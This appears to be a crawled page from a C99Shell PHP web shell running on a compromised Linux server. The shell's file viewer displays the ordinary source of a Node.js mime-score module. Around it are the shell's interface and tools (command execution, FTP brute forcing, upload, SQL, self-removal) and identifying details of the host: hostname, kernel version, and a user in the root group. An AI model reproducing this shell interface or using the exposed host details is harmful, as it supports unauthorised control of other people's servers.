!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/nodejs/mime-score/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     score.js (1.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
var MIME_RE = /^([^/]+)\/([^;]+)/;

// Score RFC facets (see https://tools.ietf.org/html/rfc6838#section-3)
var FACET_SCORES = {
  'prs.': 100,
  'x-': 200,
  'x.': 300,
  'vnd.': 400,
  default: 900
};

// Score mime source (Logic originally from `jshttp/mime-types` module)
var SOURCE_SCORES = {
  'nginx': 10,
  'apache': 20,
  'iana': 40,
  default: 30 // definitions added by `jsttp/mime-db` project?
};

var TYPE_SCORES = {
  // prefer application/xml over text/xml
  // prefer application/rtf over text/rtf
  application: 1,

  // prefer font/woff over application/font-woff
  font: 2,

  default: 0
}

/**
 * @typedef {Object} MimeScore
 * @property {Number} facet RFC facet score (sets 100's digit)
 * @property {Number} source Source score (sets 10's digit)
 * @property {Number} type RFC type (sets 1's digit)
 * @property {Number} length Length score (sets fraction, shorter = higher score)
 */

/**
 * Get each component of the score for a mime type.  The sum of these is the
 * total score.  The higher the score, the more "official" the type.
 *
 * @param {String} mimeType The mime type. E.g. "image/bmp"
 * @param {String} [source] Organization that defines the type
 *
 * @return {MimeScore}
 */
module.exports = function breakdown(mimeType, source) {
  if (!MIME_RE.test(mimeType)) return {total: 0};
  var type = RegExp.$1;
  var subtype = RegExp.$2;
  var facet = /^([a-z]+\.|x-)/.test(subtype) && RegExp.$1 || undefined;

  const facetScore = FACET_SCORES[facet] || FACET_SCORES.default;
  const sourceScore = SOURCE_SCORES[source] || SOURCE_SCORES.default;
  const typeScore = TYPE_SCORES[type] || TYPE_SCORES.default;

  // All other things being equal, prefer shorter types
  const lengthScore = 1 - mimeType.length/100;

  return {
    parts: {
      facet: [facet, facetScore],
      source: [source, sourceScore],
      type: [type, typeScore],
      length: [mimeType.length, lengthScore],
    },
    total: facetScore + sourceScore + typeScore + lengthScore
  };
};

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--